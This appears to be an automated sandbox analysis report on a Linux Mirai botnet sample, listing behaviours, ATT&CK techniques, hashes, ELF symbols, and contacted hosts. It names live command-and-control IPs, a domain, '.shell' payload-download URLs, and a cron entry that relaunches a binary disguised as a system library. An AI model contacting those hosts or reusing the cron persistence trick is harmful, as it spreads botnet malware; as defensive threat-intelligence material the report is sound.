        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/936/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/30/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5433)Shell command executed: sh -c "crontab -l"Jump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5435)Shell command executed: sh -c "crontab -"Jump to behavior
        Source: submitted sampleStderr: no crontab for root: exit code = 0

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf, type: SAMPLE

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid Accounts1
        Command and Scripting Interpreter        		1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		1
        Masquerading        		1
        OS Credential Dumping        		1
        File and Directory Discovery        		Remote ServicesData from Local System1
        Encrypted Channel        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Scheduled Task/Job        		1
        Scripting        		Boot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media2
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive3
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture1
        Ingress Tool Transfer        		Traffic DuplicationData Destruction

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1547945 Sample: LkUJU0rsxdoNTRjxlZ5e0rZRO3r... Startdate: 03/11/2024 Architecture: LINUX Score: 96 31 87.120.84.230, 37636, 443, 60216 SHARCOM-ASBG Bulgaria 2->31 33 conn.masjesu.zip 216.126.231.240, 36022, 37458, 443 ANYNODEUS United States 2->33 35 Malicious sample detected (through community Yara rule) 2->35 37 Multi AV Scanner detection for submitted file 2->37 39 Yara detected Mirai 2->39 41 2 other signatures 2->41 9 LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf 2->9         started        signatures3 process4 process5 11 LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf 9->11         started        13 LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf 9->13         started        process6 15 LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf sh 11->15         started        17 LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf sh 11->17         started        19 LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf 13->19         started        21 LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf 13->21         started        process7 23 sh crontab 15->23         started        27 sh crontab 17->27         started        file8 29 /var/spool/cron/crontabs/tmp.QeIS8d, ASCII 23->29 dropped 43 Sample tries to persist itself using cron 23->43 45 Executes the "crontab" command typically for achieving persistence 23->45 signatures9

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf53%ReversingLabsLinux.Backdoor.Mirai
        LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf100%Joe Sandbox ML

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
        http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe

        Domains and IPs

        Download Network PCAP: filtered – full

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        conn.masjesu.zip
        		216.126.231.240
        		truefalse
          		unknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://87.120.84.230/.shellfalse
            		unknown
            http://216.126.231.240/.shellfalse
              		unknown
              NameSourceMaliciousAntivirus DetectionReputation
              http://schemas.xmlsoap.org/soap/encoding/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elffalse
              • URL Reputation: safe
              		unknown
              http://purenetworks.com/HNAP1/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elffalse
                		unknown
                http://schemas.xmlsoap.org/soap/envelope/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elffalse
                • URL Reputation: safe
                		unknown

                World Map of Contacted IPs

                • No. of IPs < 25%
                • 25% < No. of IPs < 50%
                • 50% < No. of IPs < 75%
                • 75% < No. of IPs

                Public IPs

                IPDomainCountryFlagASNASN NameMalicious
                216.126.231.240
                		conn.masjesu.zipUnited States
                		20150ANYNODEUSfalse
                87.120.84.230
                		unknownBulgaria
                		51189SHARCOM-ASBGfalse

                Joe Sandbox View / Context

                IPs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                216.126.231.240doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                k86m.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                686i.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                lespim.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                87.120.84.230wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                k86m.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                686i.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                spim.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell

                Domains

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                conn.masjesu.zipdoQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                k86m.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240

                ASNs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                SHARCOM-ASBGwsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                k86m.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                686i.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                spim.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                New Order.docx.docGet hashmaliciousUnknownBrowse
                • 87.120.84.38
                New Order.docx.docGet hashmaliciousUnknownBrowse
                • 87.120.84.38
                ANYNODEUSdoQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                k86m.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                686i.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                lespim.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                ⊘No context

                Created / dropped Files

                Process:/usr/bin/crontab
                File Type:ASCII text
                Category:dropped
                Size (bytes):210
                Entropy (8bit):5.110734199548115
                Encrypted:false
                SSDEEP:6:SUrpqoqQjEOP1KmREJOBFQ334nzuZHGMQ5UYLtCFt3eQTbHvn:8QjHig8334zqeHLUeQTbHv
                MD5:4523A64123049A847919E5E738618E0A
                SHA1:D9013848A5CB823E88DB2F14D89CB9B64AE79C2B
                SHA-256:91A46F8223F3415DA35133E183A9232CB794E50C1864C7AA258D615E5F516679
                SHA-512:45451C5434DD1948F69D8938CB95A2CD41C5CC0612D46D80BED5F84554CE6AAFDA2D1C61DABACAA0D2E711C41A1781997EA4385B27547C76E6B7E112B5CF1DCD
                Malicious:true
                Reputation:low
                Preview:# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Sun Nov 3 06:54:37 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).*/15 * * * * /usr/lib/ld-unix.so.2.

                Static File Info

                General

                File type:ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
                Entropy (8bit):6.397657865650812
                TrID:
                • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                File name:LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                File size:101'142 bytes
                MD5:5141342d0df8699fa32a6b066a0c592e
                SHA1:8157673225bd5182f16215e2aa823a25ca2d4fbc
                SHA256:54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                SHA512:d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
                SSDEEP:3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
                TLSH:39A34C07A651DB73D4832AF505E787710271F9772A4ECE54F3A87CB8AB291C8B22136D
                File Content Preview:.ELF....................d...4....0......4. ...(.......................................... ..........`...D-..........Q.td............................U..S.......w....h........[]...$.............U......=`....t..5....$......$.......u........t....h............

                Static ELF Info

                ELF header

                Class:ELF32
                Data:2's complement, little endian
                Version:1 (current)
                Machine:Intel 80386
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:UNIX - System V
                ABI Version:0
                Entry Point Address:0x8048164
                Flags:0x0
                ELF Header Size:52
                Program Header Offset:52
                Program Header Size:32
                Number of Program Headers:3
                Section Header Offset:78052
                Section Header Size:40
                Number of Section Headers:16
                Header String Table Index:13

                Sections

                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .initPROGBITS0x80480940x940x1c0x00x6AX001
                .textPROGBITS0x80480b00xb00xe1a80x00x6AX0016
                .finiPROGBITS0x80562580xe2580x170x00x6AX001
                .rodataPROGBITS0x80562800xe2800x363d0x00x2A0032
                .eh_framePROGBITS0x80598c00x118c00x40x00x2A004
                .ctorsPROGBITS0x805a0000x120000x80x00x3WA004
                .dtorsPROGBITS0x805a0080x120080x80x00x3WA004
                .jcrPROGBITS0x805a0100x120100x40x00x3WA004
                .got.pltPROGBITS0x805a0140x120140xc0x40x3WA004
                .dataPROGBITS0x805a0200x120200x3400x00x3WA0032
                .bssNOBITS0x805a3600x123600x29e40x00x3WA0032
                .commentPROGBITS0x00x123600xd140x00x0001
                .shstrtabSTRTAB0x00x130740x6f0x00x0001
                .symtabSYMTAB0x00x133640x31e00x100x0152804
                .strtabSTRTAB0x00x165440x25d20x00x0001

                Program Segments

                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                LOAD0x00x80480000x80480000x118c40x118c46.63190x5R E0x1000.init .text .fini .rodata .eh_frame
                LOAD0x120000x805a0000x805a0000x3600x2d443.13060x6RW 0x1000.ctors .dtors .jcr .got.plt .data .bss
                GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

                Symbols

                NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
                .symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                .symtab0x80480940SECTION<unknown>DEFAULT1
                .symtab0x80480b00SECTION<unknown>DEFAULT2
                .symtab0x80562580SECTION<unknown>DEFAULT3
                .symtab0x80562800SECTION<unknown>DEFAULT4
                .symtab0x80598c00SECTION<unknown>DEFAULT5
                .symtab0x805a0000SECTION<unknown>DEFAULT6
                .symtab0x805a0080SECTION<unknown>DEFAULT7
                .symtab0x805a0100SECTION<unknown>DEFAULT8
                .symtab0x805a0140SECTION<unknown>DEFAULT9
                .symtab0x805a0200SECTION<unknown>DEFAULT10
                .symtab0x805a3600SECTION<unknown>DEFAULT11
                .symtab0x00SECTION<unknown>DEFAULT12
                .symtab0x00SECTION<unknown>DEFAULT13
                .symtab0x00SECTION<unknown>DEFAULT14
                .symtab0x00SECTION<unknown>DEFAULT15
                ATTACKRUNNING.symtab0x805a0e44OBJECT<unknown>DEFAULT10
                C.1.3465.symtab0x805824036OBJECT<unknown>DEFAULT4
                C.89.3740.symtab0x8058020508OBJECT<unknown>DEFAULT4
                Decrypt.symtab0x8048803157FUNC<unknown>DEFAULT2
                GPON1_Range.symtab0x805a04020OBJECT<unknown>DEFAULT10
                GPON2_Range.symtab0x805a060112OBJECT<unknown>DEFAULT10
                LastAttackTime.symtab0x805c7d04OBJECT<unknown>DEFAULT11
                Methodinit.symtab0x804ddf01667FUNC<unknown>DEFAULT2
                PINGLEN.symtab0x805a0d416OBJECT<unknown>DEFAULT10
                _GLOBAL_OFFSET_TABLE_.symtab0x805a0140OBJECT<unknown>HIDDEN9
                _Jv_RegisterClasses.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                _READ.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _WRITE.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __CTOR_END__.symtab0x805a0040OBJECT<unknown>DEFAULT6
                __CTOR_LIST__.symtab0x805a0000OBJECT<unknown>DEFAULT6
                __C_ctype_b.symtab0x805a33c4OBJECT<unknown>DEFAULT10
                __C_ctype_b.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __C_ctype_b_data.symtab0x8059480768OBJECT<unknown>DEFAULT4
                __C_ctype_tolower.symtab0x805a0e84OBJECT<unknown>DEFAULT10
                __C_ctype_tolower.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __C_ctype_tolower_data.symtab0x8058280768OBJECT<unknown>DEFAULT4
                __DTOR_END__.symtab0x805a00c0OBJECT<unknown>DEFAULT7
                __DTOR_LIST__.symtab0x805a0080OBJECT<unknown>DEFAULT7
                __EH_FRAME_BEGIN__.symtab0x80598c00OBJECT<unknown>DEFAULT5
                __FRAME_END__.symtab0x80598c00OBJECT<unknown>DEFAULT5
                __GI___C_ctype_b.symtab0x805a33c4OBJECT<unknown>HIDDEN10
                __GI___C_ctype_b_data.symtab0x8059480768OBJECT<unknown>HIDDEN4
                __GI___C_ctype_tolower.symtab0x805a0e84OBJECT<unknown>HIDDEN10
                __GI___C_ctype_tolower_data.symtab0x8058280768OBJECT<unknown>HIDDEN4
                __GI___ctype_b.symtab0x805a3404OBJECT<unknown>HIDDEN10
                __GI___ctype_tolower.symtab0x805a0ec4OBJECT<unknown>HIDDEN10
                __GI___errno_location.symtab0x804f2a46FUNC<unknown>HIDDEN2
                __GI___fgetc_unlocked.symtab0x80549e4220FUNC<unknown>HIDDEN2
                __GI___glibc_strerror_r.symtab0x8050ef829FUNC<unknown>HIDDEN2
                __GI___h_errno_location.symtab0x8053ed06FUNC<unknown>HIDDEN2
                __GI___libc_fcntl.symtab0x805371087FUNC<unknown>HIDDEN2
                __GI___libc_fcntl64.symtab0x805376863FUNC<unknown>HIDDEN2
                __GI___libc_open.symtab0x8053c6875FUNC<unknown>HIDDEN2
                __GI___uClibc_fini.symtab0x805335063FUNC<unknown>HIDDEN2
                __GI___uClibc_init.symtab0x80533c764FUNC<unknown>HIDDEN2
                __GI___xpg_strerror_r.symtab0x8050f18183FUNC<unknown>HIDDEN2
                __GI__exit.symtab0x804ee0040FUNC<unknown>HIDDEN2
                __GI_abort.symtab0x8052998273FUNC<unknown>HIDDEN2
                __GI_atoi.symtab0x8052e3020FUNC<unknown>HIDDEN2
                __GI_atol.symtab0x8052e3020FUNC<unknown>HIDDEN2
                __GI_bind.symtab0x8051a6843FUNC<unknown>HIDDEN2
                __GI_brk.symtab0x805565454FUNC<unknown>HIDDEN2
                __GI_chdir.symtab0x804ee5c46FUNC<unknown>HIDDEN2
                __GI_chmod.symtab0x804ee8c51FUNC<unknown>HIDDEN2
                __GI_clock_getres.symtab0x80537e450FUNC<unknown>HIDDEN2
                __GI_close.symtab0x804eec046FUNC<unknown>HIDDEN2
                __GI_closedir.symtab0x804f0bc112FUNC<unknown>HIDDEN2
                __GI_connect.symtab0x8051a9443FUNC<unknown>HIDDEN2
                __GI_dup2.symtab0x805381850FUNC<unknown>HIDDEN2
                __GI_errno.symtab0x805c6204OBJECT<unknown>HIDDEN11
                __GI_execl.symtab0x8052fe0105FUNC<unknown>HIDDEN2
                __GI_execve.symtab0x805384c54FUNC<unknown>HIDDEN2
                __GI_exit.symtab0x8052f78103FUNC<unknown>HIDDEN2
                __GI_fclose.symtab0x804f2b8265FUNC<unknown>HIDDEN2
                __GI_fcntl.symtab0x805371087FUNC<unknown>HIDDEN2
                __GI_fcntl64.symtab0x805376863FUNC<unknown>HIDDEN2
                __GI_fdopen.symtab0x8053fc450FUNC<unknown>HIDDEN2
                __GI_fflush_unlocked.symtab0x80509d0321FUNC<unknown>HIDDEN2
                __GI_fgetc_unlocked.symtab0x80549e4220FUNC<unknown>HIDDEN2
                __GI_fgets.symtab0x80507c098FUNC<unknown>HIDDEN2
                __GI_fgets_unlocked.symtab0x8050b14105FUNC<unknown>HIDDEN2
                __GI_fopen.symtab0x804f3c424FUNC<unknown>HIDDEN2
                __GI_fork.symtab0x804eef038FUNC<unknown>HIDDEN2
                __GI_fprintf.symtab0x804f41030FUNC<unknown>HIDDEN2
                __GI_fputs.symtab0x805082495FUNC<unknown>HIDDEN2
                __GI_fputs_unlocked.symtab0x8050b8051FUNC<unknown>HIDDEN2
                __GI_fread.symtab0x8050884101FUNC<unknown>HIDDEN2
                __GI_fread_unlocked.symtab0x8050bb4275FUNC<unknown>HIDDEN2
                __GI_fseek.symtab0x805575027FUNC<unknown>HIDDEN2
                __GI_fseeko64.symtab0x805576c227FUNC<unknown>HIDDEN2
                __GI_fstat.symtab0x805388472FUNC<unknown>HIDDEN2
                __GI_fwrite_unlocked.symtab0x8050cc8116FUNC<unknown>HIDDEN2
                __GI_getc_unlocked.symtab0x80549e4220FUNC<unknown>HIDDEN2
                __GI_getdtablesize.symtab0x8053a5037FUNC<unknown>HIDDEN2
                __GI_getegid.symtab0x8053a7838FUNC<unknown>HIDDEN2
                __GI_geteuid.symtab0x8053aa038FUNC<unknown>HIDDEN2
                __GI_getgid.symtab0x8053ac838FUNC<unknown>HIDDEN2
                __GI_gethostbyname.symtab0x805170448FUNC<unknown>HIDDEN2
                __GI_gethostbyname_r.symtab0x8051734818FUNC<unknown>HIDDEN2
                __GI_getpagesize.symtab0x8053af019FUNC<unknown>HIDDEN2
                __GI_getpid.symtab0x804ef1838FUNC<unknown>HIDDEN2
                __GI_getrlimit.symtab0x8053b0450FUNC<unknown>HIDDEN2
                __GI_getsockname.symtab0x8051ac043FUNC<unknown>HIDDEN2
                __GI_gettimeofday.symtab0x804ef4050FUNC<unknown>HIDDEN2
                __GI_getuid.symtab0x8053b3838FUNC<unknown>HIDDEN2
                __GI_h_errno.symtab0x805c6244OBJECT<unknown>HIDDEN11
                __GI_inet_addr.symtab0x80516dc37FUNC<unknown>HIDDEN2
                __GI_inet_aton.symtab0x80515e4148FUNC<unknown>HIDDEN2
                __GI_inet_ntoa.symtab0x80516c721FUNC<unknown>HIDDEN2
                __GI_inet_ntoa_r.symtab0x805167879FUNC<unknown>HIDDEN2
                __GI_inet_ntop.symtab0x8051414462FUNC<unknown>HIDDEN2
                __GI_inet_pton.symtab0x8051142458FUNC<unknown>HIDDEN2
                __GI_initstate_r.symtab0x8052d82171FUNC<unknown>HIDDEN2
                __GI_ioctl.symtab0x8053b6063FUNC<unknown>HIDDEN2
                __GI_isatty.symtab0x805100429FUNC<unknown>HIDDEN2
                __GI_kill.symtab0x804ef7450FUNC<unknown>HIDDEN2
                __GI_lseek64.symtab0x8053ba095FUNC<unknown>HIDDEN2
                __GI_memchr.symtab0x8054ac035FUNC<unknown>HIDDEN2
                __GI_memcpy.symtab0x8050d3c39FUNC<unknown>HIDDEN2
                __GI_memmove.symtab0x8054ae439FUNC<unknown>HIDDEN2
                __GI_mempcpy.symtab0x8054b0c33FUNC<unknown>HIDDEN2
                __GI_memrchr.symtab0x8054b30176FUNC<unknown>HIDDEN2
                __GI_memset.symtab0x8050d6421FUNC<unknown>HIDDEN2
                __GI_mmap.symtab0x80536c027FUNC<unknown>HIDDEN2
                __GI_munmap.symtab0x8053c0050FUNC<unknown>HIDDEN2
                __GI_nanosleep.symtab0x8053c3450FUNC<unknown>HIDDEN2
                __GI_open.symtab0x8053c6875FUNC<unknown>HIDDEN2
                __GI_opendir.symtab0x804f12c241FUNC<unknown>HIDDEN2
                __GI_perror.symtab0x804f3dc50FUNC<unknown>HIDDEN2
                __GI_pipe.symtab0x8053ccc46FUNC<unknown>HIDDEN2
                __GI_poll.symtab0x80556a454FUNC<unknown>HIDDEN2
                __GI_raise.symtab0x805562824FUNC<unknown>HIDDEN2
                __GI_random.symtab0x8052ab472FUNC<unknown>HIDDEN2
                __GI_random_r.symtab0x8052c8d95FUNC<unknown>HIDDEN2
                __GI_rawmemchr.symtab0x80559a499FUNC<unknown>HIDDEN2
                __GI_read.symtab0x80556dc54FUNC<unknown>HIDDEN2
                __GI_readdir.symtab0x804f220132FUNC<unknown>HIDDEN2
                __GI_recv.symtab0x8051aec51FUNC<unknown>HIDDEN2
                __GI_sbrk.symtab0x8053cfc78FUNC<unknown>HIDDEN2
                __GI_send.symtab0x8051b2051FUNC<unknown>HIDDEN2
                __GI_sendto.symtab0x8051b5467FUNC<unknown>HIDDEN2
                __GI_setsid.symtab0x804efdc38FUNC<unknown>HIDDEN2
                __GI_setsockopt.symtab0x8051b9859FUNC<unknown>HIDDEN2
                __GI_setstate_r.symtab0x8052bf4153FUNC<unknown>HIDDEN2
                __GI_sigaction.symtab0x80535cf217FUNC<unknown>HIDDEN2
                __GI_signal.symtab0x8051c00175FUNC<unknown>HIDDEN2
                __GI_sigprocmask.symtab0x8053d4c85FUNC<unknown>HIDDEN2
                __GI_sleep.symtab0x805304c393FUNC<unknown>HIDDEN2
                __GI_snprintf.symtab0x804f43033FUNC<unknown>HIDDEN2
                __GI_socket.symtab0x8051bd443FUNC<unknown>HIDDEN2
                __GI_sprintf.symtab0x804f45431FUNC<unknown>HIDDEN2
                __GI_srandom_r.symtab0x8052cec150FUNC<unknown>HIDDEN2
                __GI_strcasecmp.symtab0x805604c54FUNC<unknown>HIDDEN2
                __GI_strcat.symtab0x8050d7c31FUNC<unknown>HIDDEN2
                __GI_strchr.symtab0x8050d9c30FUNC<unknown>HIDDEN2
                __GI_strcmp.symtab0x805595429FUNC<unknown>HIDDEN2
                __GI_strcoll.symtab0x805595429FUNC<unknown>HIDDEN2
                __GI_strcpy.symtab0x8050dbc27FUNC<unknown>HIDDEN2
                __GI_strdup.symtab0x8055a3c54FUNC<unknown>HIDDEN2
                __GI_strlen.symtab0x8050dd819FUNC<unknown>HIDDEN2
                __GI_strncat.symtab0x805597446FUNC<unknown>HIDDEN2
                __GI_strncpy.symtab0x8050dec38FUNC<unknown>HIDDEN2
                __GI_strnlen.symtab0x8050e1425FUNC<unknown>HIDDEN2
                __GI_strpbrk.symtab0x8054c3c39FUNC<unknown>HIDDEN2
                __GI_strspn.symtab0x8055a0850FUNC<unknown>HIDDEN2
                __GI_strstr.symtab0x8050e30198FUNC<unknown>HIDDEN2
                __GI_strtok.symtab0x8050fe825FUNC<unknown>HIDDEN2
                __GI_strtok_r.symtab0x8054be089FUNC<unknown>HIDDEN2
                __GI_strtol.symtab0x8052e4426FUNC<unknown>HIDDEN2
                __GI_sysconf.symtab0x80531d8325FUNC<unknown>HIDDEN2
                __GI_tcgetattr.symtab0x8051024112FUNC<unknown>HIDDEN2
                __GI_time.symtab0x804f00446FUNC<unknown>HIDDEN2
                __GI_tolower.symtab0x804f09c29FUNC<unknown>HIDDEN2
                __GI_vfork.symtab0x80536a821FUNC<unknown>HIDDEN2
                __GI_vfprintf.symtab0x804fb3c136FUNC<unknown>HIDDEN2
                __GI_vsnprintf.symtab0x804f474178FUNC<unknown>HIDDEN2
                __GI_wait4.symtab0x805571459FUNC<unknown>HIDDEN2
                __GI_waitpid.symtab0x8053da426FUNC<unknown>HIDDEN2
                __GI_wcrtomb.symtab0x8053ed868FUNC<unknown>HIDDEN2
                __GI_wcsnrtombs.symtab0x8053f3c134FUNC<unknown>HIDDEN2
                __GI_wcsrtombs.symtab0x8053f1c30FUNC<unknown>HIDDEN2
                __GI_write.symtab0x804f06454FUNC<unknown>HIDDEN2
                __JCR_END__.symtab0x805a0100OBJECT<unknown>DEFAULT8
                __JCR_LIST__.symtab0x805a0100OBJECT<unknown>DEFAULT8
                __app_fini.symtab0x805c6144OBJECT<unknown>HIDDEN11
                __atexit_lock.symtab0x805a32024OBJECT<unknown>DEFAULT10
                __bsd_signal.symtab0x8051c00175FUNC<unknown>HIDDEN2
                __bss_start.symtab0x805a3600NOTYPE<unknown>DEFAULTSHN_ABS
                __check_one_fd.symtab0x805339352FUNC<unknown>DEFAULT2
                __ctype_b.symtab0x805a3404OBJECT<unknown>DEFAULT10
                __ctype_tolower.symtab0x805a0ec4OBJECT<unknown>DEFAULT10
                __curbrk.symtab0x805c6444OBJECT<unknown>HIDDEN11
